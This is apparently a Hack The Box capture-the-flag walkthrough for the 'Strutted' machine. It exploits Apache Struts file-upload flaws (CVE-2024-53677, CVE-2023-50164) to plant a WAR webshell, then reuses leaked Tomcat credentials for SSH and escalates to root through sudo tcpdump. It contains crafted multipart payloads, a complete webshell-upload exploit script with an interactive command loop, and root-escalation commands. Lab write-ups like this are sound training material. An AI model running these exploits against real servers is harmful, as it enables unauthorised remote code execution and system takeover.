HTB-Strutted

Box Info

Difficulty Easy
OS Linux
IP Address 10.10.11.59

Port Scanning

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Check all open TCP
sudo rustscan 10.10.11.59 -r 1-65535 --ulimit 5000
# Nmap scan with script on open TCP port
sudo nmap 10.10.11.59 -sCV -Pn -sT -p 22,80
# Nmap scan vulnerability
sudo nmap -sT -p 22,80 --script=vuln -O -Pn 10.10.11.59
# Nmap scan with UDP port
sudo nmap -sU --top-ports 20 -Pn 10.10.11.59

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://strutted.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Update DNS

1
2
sudo nano /etc/hosts
10.10.11.59 strutted.htb

Service Enumeration

80/tcp HTTP

9c4c3b813b59c3b4a113003b87c2e946.webp

Seems like a Image sharing website.

1c7a88eadf772069cbe5da5bb60c4690.webp

There is a download button.

e8e27346bf788290f320215120b03462.webp

Zip file is a docker image

In the tomcat-users.xml file found a credentials

8da2c83ddb69cd8ae25482c6ccdc1a89.webp

1
<user username="admin" password="skqKY6360z!Y" roles="manager-gui,admin-gui"/>

In the pom.xml file we can find out that it is using the Apache Struts 2 6.3.0.1 version MVC framework and various dependencies and plugins.

e39ddb12ada713f1b2273eda8d42437a.webp

In the docker file, we can know how the image being built, where it start from the openjdk17

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
FROM --platform=linux/amd64 openjdk:17-jdk-alpine
#FROM openjdk:17-jdk-alpine

RUN apk add --no-cache maven

COPY strutted /tmp/strutted
WORKDIR /tmp/strutted

RUN mvn clean package

FROM tomcat:9.0

RUN rm -rf /usr/local/tomcat/webapps/
RUN mv /usr/local/tomcat/webapps.dist/ /usr/local/tomcat/webapps/
RUN rm -rf /usr/local/tomcat/webapps/ROOT

COPY --from=0 /tmp/strutted/target/strutted-1.0.0.war /usr/local/tomcat/webapps/ROOT.war
COPY ./tomcat-users.xml /usr/local/tomcat/conf/tomcat-users.xml
COPY ./context.xml /usr/local/tomcat/webapps/manager/META-INF/context.xml

EXPOSE 8080

CMD ["catalina.sh", "run"]

Exploitation

Upon OSINT found the Apache Struts 2 v6.3.0.1 are vulnerable to CVE-2024-53677, which is described as

File upload logic in Apache Struts is flawed. An attacker can manipulate file upload params to enable paths traversal and under some circumstances this can lead to uploading a malicious file which can be used to perform Remote Code Execution. This issue affects Apache Struts: from 2.0.0 before 6.4.0.

Understanding Apache Struts 2 CVE-2024-53677

There is a exploit script from EQSTLab, where from the exploit function, it is going to send a HTTP POST request with form data using files in requests.post , then sending first the Upload parameter and then top.UploadFileName

e098b383f6573956a60a5da2632272b1.webp

Now lets try the exploit script

1
2
3
4
5
6
7
8
9
git clone https://github.com/EQSTLab/CVE-2024-53677
cd CVE-2024-53677

# Create Python venv
python3.12 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

python3 CVE-2024-53677.py -u http://strutted.htb/upload.action -p test.txt

025c760f05464adfe1a2c150cf6264d5.webp

Although the HTTP status is 200 and script return successful upload message, however I don’t found the test.txt file uploaded. Here I change to Burp suite.

To exploit CVE-2024-53677, we will required to add second upload parameter by separate it through boundary.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST /upload.action HTTP/1.1
Host: strutted.htb
Content-Length: 315
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://strutted.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFb0IsRju0IqFZIoq
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://strutted.htb/upload.action;jsessionid=A7EED68DF97FC7D6ED228552E6E58CC7
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=A7EED68DF97FC7D6ED228552E6E58CC7
Connection: keep-alive

------WebKitFormBoundaryFb0IsRju0IqFZIoq
Content-Disposition: form-data; name="upload"; filename="htb.gif"
Content-Type: image/gif

GIF89a;

test

------WebKitFormBoundaryFb0IsRju0IqFZIoq
Content-Disposition: form-data; name="top.uploadFileName";

test.txt

------WebKitFormBoundaryFb0IsRju0IqFZIoq--

46ffff929bd848e9ef45dc8c5aaac8e5.webp

ff054794eb3e562967fd23bdb16e4414.webp

Adding the second parameter seems didn’t move. The resulting file is still htb.gif in the uploads/[date]/ folder. That’s because the first parameter name is ‘upload’ and not ‘Upload’, so it isn’t passed to the OGNL interceptor. On capitalize ‘Upload’, we are allowed to bypass the file name by adding “uploadFileName” in second parameter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
...
------WebKitFormBoundaryFb0IsRju0IqFZIoq
Content-Disposition: form-data; name="Upload"; filename="htb.gif"
Content-Type: image/gif

GIF89a;

test

------WebKitFormBoundaryFb0IsRju0IqFZIoq
Content-Disposition: form-data; name="top.uploadFileName";

shell.txt

------WebKitFormBoundaryFb0IsRju0IqFZIoq--
...

bc2357ccf2ff91508c2ac8603af9db22.webp

Now it shows successfully bypassed the file format restriction and look at the share link file name is shell.txt instead of htb.jpeg

Upon OSINT, we can use CVE-2023-50164 Apache Struts path traversal to RCE. Lets clone the repo

https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE

1
2
3
4
5
6
git clone https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE
cd CVE-2023-50164-Apache-Struts-RCE

python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt

Before exploit, we might need to modify the exploit.py script, first of all is NUMBER_OF_PARENTS_IN_PATH change from 2 to 5 for File/{Date}/uploads/ROOT/webapps

1
NUMBER_OF_PARENTS_IN_PATH = 5

Next, by adding the string GIF89a; we can trick the web app to threat the uploaded data as gif image. Refer to Ryan Jeon link for more detail of how polyglot work

1
2
war_file_content = open(NAME_OF_WEBSHELL_WAR, "rb").read()
war_file_content = b"GIF89a;" + war_file_content

Last, change the Content-Type from application/octet-stream to image/gif as well as the filename to .gif file

1
HTTP_UPLOAD_PARAM_NAME.capitalize(): ("arbitrary.gif", war_file_content, "image/gif"),

Lets start to exploit now

1
python3 exploit.py --url http://strutted.htb/upload.action

64274e379bdc63448e156a53da7a7712.webp

Initiate User Foothold

As previously we know from the zip file download, there is credentials leak from tomcat-users.xml

1
2
3
4
cat ./conf/tomcat-users.xml
...
<user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>
...

3a69ce84c69f7358a3a355cbc4b51bf7.webp

Here we had the admin and password. Lets check if any user that we can use

1
2
3
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
james:x:1000:1000:Network Administrator:/home/james:/bin/bash

ad037e943dd3afe3e5b241b509fb07a0.webp

Lets try these credentials with James

1
2
ssh james@strutted.htb 
Password: IT14d6SSP81k

d9ab0ae5143f137c83dd3b706d0253b5.webp

User Flags

a479ea05ff41587c08367d25957d5259.webp

Privilege Escalation

Sudo Privilege

55699f536e7889237fd49ff72e72b890.webp

There is a tcpdump from GTFObins

https://gtfobins.github.io/gtfobins/tcpdump/#sudo

1
2
3
4
5
COMMAND='id'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

When I run this, it doesn’t output anything showing successful privilege escalation to root shell

ad71aa028cb17995406b8ea12df6a14f.webp

Initiate Root Foothold

To get a shell, we will need to abuse the COMMAND , first lets copy /bin/bash into /tmp/bear and set is as SetUID / SetGID to run as root user

1
2
3
4
5
COMMAND='cp /bin/bash /tmp/bear; chmod 6777 /tmp/bear'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

Once it complete, lets verify

a8f182e676a890a1902cd7904b0e08dd.webp

Now the /bin/bash become /tmp/bear and we may use it to execute as root user

1
./bear -p

806f4978bc3f1558d0efeb3f802251c3.webp

Root Flag

b8527e87d7381883832ba3620a6b66ae.webp

/etc/shadow

1
2
root:$y$j9T$4kM4HKyBvH.VNLjh.Zd60/$27BeC7cFIgPH.bVrllpoxXQwtc4tMCN6EZkI9Tqbw/B:20100:0:99999:7:::
james:$y$j9T$Agb7G27RJ0LCkmXQ3kDEK0$xoWkrSDF/pC4dkrIlBKe0LpYWCZH4YTz0NJ/zEn8.59:20100:0:99999:7:::

Appendix

exploit.py

import os
import sys
import time
import string
import random
import argparse
import requests
from urllib.parse import urlparse, urlunparse
from requests_toolbelt import MultipartEncoder
from requests.exceptions import ConnectionError

MAX_ATTEMPTS = 10
DELAY_SECONDS = 1
HTTP_UPLOAD_PARAM_NAME = "upload"
NAME_OF_WEBSHELL = "webshell"
NAME_OF_WEBSHELL_WAR = NAME_OF_WEBSHELL + ".war"
NUMBER_OF_PARENTS_IN_PATH = 5

def get_base_url(url):
    parsed_url = urlparse(url)
    base_url = urlunparse((parsed_url.scheme, parsed_url.netloc, "", "", "", ""))
    return base_url

def create_war_file():
    if not os.path.exists(NAME_OF_WEBSHELL_WAR):
        os.system("jar -cvf {} {}".format(NAME_OF_WEBSHELL_WAR, NAME_OF_WEBSHELL+'.jsp'))
        print("[+] WAR file created successfully.")
    else:
        print("[+] WAR file already exists.")

def upload_file(url):
    create_war_file()

    if not os.path.exists(NAME_OF_WEBSHELL_WAR):
        print("[-] ERROR: webshell.war not found in the current directory.")
        exit()

    war_location = '../' * (NUMBER_OF_PARENTS_IN_PATH-1) + 'webapps/' + NAME_OF_WEBSHELL_WAR

    war_file_content = open(NAME_OF_WEBSHELL_WAR, "rb").read()
    war_file_content = b"GIF89a;" + war_file_content

    files = {
        HTTP_UPLOAD_PARAM_NAME.capitalize(): ("arbitrary.gif", war_file_content, "image/gif"),
        HTTP_UPLOAD_PARAM_NAME+"FileName": war_location
    }

    boundary = '----WebKitFormBoundary' + ''.join(random.sample(string.ascii_letters + string.digits, 16))
    m = MultipartEncoder(fields=files, boundary=boundary)
    headers = {"Content-Type": m.content_type}

    try:
        response = requests.post(url, headers=headers, data=m)
        # print(response.text) # debug
        if response.status_code == 200:
            print(f"[+] {NAME_OF_WEBSHELL_WAR} uploaded successfully.")
        else:
            raise requests.RequestException('Wrong status code: ' + str(response.status_code))
    except requests.RequestException as e:
        print("[-] Error while uploading the WAR webshell:", e)
        sys.exit(1)

def attempt_connection(url):
    for attempt in range(1, MAX_ATTEMPTS + 1):
        try:
            r = requests.get(url)
            if r.status_code == 200:
                print('[+] Successfully connected to the web shell.')
                return True
            else:
                raise Exception
        except ConnectionError:
            if attempt == MAX_ATTEMPTS:
                print(f'[-] Maximum attempts reached. Unable to establish a connection with the web shell. Exiting...')
                return False
            time.sleep(DELAY_SECONDS)
        except Exception:
            if attempt == MAX_ATTEMPTS:
                print('[-] Maximum attempts reached. Exiting...')
                return False
            time.sleep(DELAY_SECONDS)
    return False

def start_interactive_shell(url):
    if not attempt_connection(url):
        sys.exit()

    while True:
        try:
            cmd = input("\033[91mCMD\033[0m > ")
            if cmd == 'exit':
                raise KeyboardInterrupt
            r = requests.get(url + "?cmd=" + cmd, verify=False)
            if r.status_code == 200:
                print(r.text.replace('\n\n', ''))
            else:
                raise Exception
        except KeyboardInterrupt:
            sys.exit()
        except ConnectionError:
            print('[-] We lost our connection to the web shell. Exiting...')
            sys.exit()
        except:
            print('[-] Something unexpected happened. Exiting...')
            sys.exit()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Exploit script for CVE-2023-50164 by uploading a webshell to a vulnerable Struts app's server.")
    parser.add_argument("--url", required=True, help="Full URL of the upload endpoint.")
    args = parser.parse_args()

    if not args.url.startswith("http"):
        print("[-] ERROR: Invalid URL. Please provide a valid URL starting with 'http' or 'https'.")
        exit()

    print("[+] Starting exploitation...")
    upload_file(args.url)

    webshell_url = f"{get_base_url(args.url)}/{NAME_OF_WEBSHELL}/{NAME_OF_WEBSHELL}.jsp"
    print(f"[+] Reach the JSP webshell at {webshell_url}?cmd=<COMMAND>")

    print(f"[+] Attempting a connection with webshell.")
    start_interactive_shell(webshell_url)